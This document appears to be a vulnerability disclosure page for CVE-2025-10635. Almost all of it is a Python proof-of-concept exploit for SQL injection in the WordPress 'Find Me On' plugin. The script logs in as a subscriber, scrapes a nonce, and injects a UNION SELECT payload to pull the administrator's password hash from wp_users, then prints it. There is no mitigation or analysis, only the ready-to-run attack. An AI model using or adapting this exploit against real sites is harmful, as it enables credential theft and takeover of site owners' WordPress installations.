CVE-2025-10635：WordPress Find Me On插件SQL注入漏洞

# CVE-2025-10635 - Find Me On WordPress Plugin SQL Injection PoC # Affected: Find Me On plugin <= 2.0.9.1 # Requires: Subscriber-level WordPress account import requests import re TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Login as subscriber to get session cookies session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Obtain nonce from the vulnerable page (Find Me On settings) settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=find-me-on" response = session.get(settings_url) nonce_match = re.search(r'_wpnonce=([a-f0-9]+)', response.text) nonce = nonce_match.group(1) if nonce_match else "" # Step 3: Exploit SQL Injection via the unsanitized parameter # The vulnerable parameter is injected into a SQL statement without sanitization inject_url = f"{TARGET_URL}/wp-admin/admin.php?page=find-me-on" sql_payload = "1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -" params = { "id": sql_payload, "_wpnonce": nonce, "action": "delete" } response = session.get(inject_url, params=params) print("[*] Response status:", response.status_code) print("[*] Extracted admin hash from response:") # Parse the response to extract the leaked password hash hash_match = re.search(r'\$P\$[A-Za-z0-9./]{31}', response.text) if hash_match: print(f"[+] Admin Password Hash: {hash_match.group(0)}") else: print("[-] No hash found, payload may need adjustment")